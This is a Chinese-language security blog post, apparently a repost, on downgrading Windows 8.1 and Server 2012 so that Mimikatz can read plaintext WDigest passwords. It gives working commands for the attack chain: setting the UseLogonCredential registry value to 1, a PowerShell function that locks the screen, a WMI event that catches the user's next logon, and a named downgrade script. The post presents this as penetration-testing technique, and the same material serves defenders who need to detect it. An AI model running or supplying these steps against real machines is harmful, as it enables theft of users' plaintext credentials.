最新消息:

如何获取Windows 8.1&Server 2012的WDigest密码 ?

WEB安全 Eternal 11738浏览 0评论

当我们做渗透测试的时候,总喜欢使用类似于 mimikatz/kiwi 这些工具,来尝试 dump 目标系统下的账户信息。这种方式对于相对老的版本来说,可能可以较轻松的获取到。但是从 windows 8.1 开始,微软为了增加系统的安全性,做了一些安全的策略来防止像 mimikatz 或 WCE 这类工具,直接获取明文密码。但是即便如此我们仍然可以有机会获取到明文密码。下面我们来简单分析下,微软做了哪方面的限制,导致我们无法获取明文密码。

Windows 8.1 介绍了以下的注册表项,可以用来设置你的 WDigest 密码是否要支持以明文形式,保存在 LSA 内存中:

(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential)

在 < 8.1 的 windows 版本中,该注册表键值都默认设置为 “1”,也就是说都支持以明文形式保存在 LSA 内存中。因此,如果想获取到明文密码,我们只需在已有的 Meterpreter shell? 内修改目标机器的以下注册表键值为 “1”即可:

(reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1)

有了初步的了解之后,下面我们来个实例演示!步骤如下:

  1. 更改目标系统的注册表键值为: “UseLogonCredential” at HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest and set its value to 1。
  2. 锁定目标PC。
  3. 运行 Mimikatz 当目标账户登陆。

以上步骤的实现,我们可以通过 powershell 来完成:

修改注册表键值为“1”:

PS C:\> New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

锁定目标PC:

PS C:\> Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation

抓取目标系统解锁事件:

PS C:\> Register-wmievent -query "SELECT * FROM Win32_ProcessStopTrace WHERE ProcessName = 'LogonUI.exe'" -Action $actionblock

以上的这些操作,我们只需通过 Invoke-MimikatzWDigestDowngrade.ps1 这个 powershell 脚本就能轻松实现。以下我们做个对比:

当我们没有使用?downgrade,而是直接使用 Invoke-Mimikatz 来获取 Server 2012 的 WDigest密码 。结果如下:

mimikatz_original

而当我们使用 Invoke-MimikatzWdigestDowngrade 后,可以看到我们成功获取 Server 2012 的 WDigest密码:

mimikatz_downgrade

转载请注明:即刻安全 » 如何获取Windows 8.1&Server 2012的WDigest密码 ?

您必须 登录 才能发表评论!

网友最新评论 (1)



合作伙伴